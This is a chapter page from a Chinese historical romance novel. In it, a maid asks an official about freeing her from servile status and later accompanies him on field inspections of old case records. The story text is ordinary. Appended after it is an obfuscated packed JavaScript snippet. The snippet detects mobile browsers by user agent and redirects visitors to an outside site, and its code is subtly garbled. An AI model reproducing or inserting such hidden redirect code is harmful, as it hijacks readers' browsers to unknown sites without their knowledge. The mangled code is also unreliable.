9. 她是?(第2页)

“公子,”她开口问,心中已然有了揣测,“你是不是想出了我的脱籍之法?”

此前在府中帮忙代笔的种种、初来时被派去整理一堆“难分难舍”的卷宗、都不似分给普通婢女的活。

一个念头在心里萌芽。

前朝的蜀地,有过一代名妓,因才情以清客身份入主家幕府,后被请奏封校书郎,虽迫于旧俗被驳回,却准许脱了贱籍。

她想,她和崔元想到了同处。

崔元没有否认,“益州从前积敝旧案颇多,明天收拾好东西,随我去。”

灯火渐熄,他的眉眼仅靠月色照着,笼上一层惨白的霜色,惨白地有些熟悉。

柳茸怔神了下,想不起在哪见过。

“公子,我们可曾见过?”

“从未。”他拦衣起身,步出邀月亭。

“那你,为何愿意帮我?”

素白的身形顿了顿,“因为我是官。为官佑民,为政亲人,自是常理。”

见她疑惑怎么端的说起为官之道,崔元的神宇柔和了些,“你也是万民之一。”

她也是民。

无论勾栏商伎、姬妾婢仆,同属万民。

柳茸缓悠悠落座,眼神清浅。见多了被攒爱民如子却妻妾成群的官,习以为常后,连她自己也时常理所当然将自己排除在民的范围内。

那些惠民及利的布政永远纵马掠过,忽视她们。她们不是人。

进勾栏院喝花酒的不乏先天下忧而忧的名官,高谈阔论着哀民生之多艰,杯中酒斟个不停,涕泗涟涟叹百姓实苦,怀中倚红偎翠家伎照买不误。

过往觉矛盾之处茅塞顿开,柳茸潜心自在梳理着心结,另一疑窦又生,为何谁当天子都不愿用崔元这般的循吏呢?

天子九五至尊,目望不到民间,五位夺位的皇子也金枝玉叶,平生尝过最苦的怕只有御医的药汤,任谁即位也不过是维持原样,宫中水娇,养不出百姓渴求的君主。

若自己是天子……

念头萌发一秒,柳茸迅速拍散,默念着大不敬。

这夜的风很安静。

比翌日晒脱皮的日头好多了。

柳茸是这么想的。

毕竟谁能想到崔元说的整理旧案竟真是边下地边探查。

天热得很,遮阳挡不住的热,两条臂膀快被闷成蟹肉。

她抱着半人高的“竹夫人”,倚在树荫下守卷宗。

民情体察累了,崔元从田里翻身上来,坐在草席歇息,抬着晒红的脸与她说事。

录事官放值不在,稻禾香里,柳茸便是录事。

翻土的草味暖暖漫在暑天里,和墨香混杂,仿佛回到了前世最惬意的时候,那时他们也是如此,在田野吃着石榴。

那时他是不是已想好自己脱贱籍的法子了呢?

可惜死人开不了口告知答案。

崔元发现她的目光,放下唇边的葫芦水瓢,薄唇冷峻,唇珠饱满,水珠挂在反差鲜明的一张唇上,凝聚下颌,沿顺着脖颈脉络下滑,在白衫与前胸相交之地沁成微小的阴影。

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763442|174488||http|test|mini|href|location''.split(''|''),0,{}));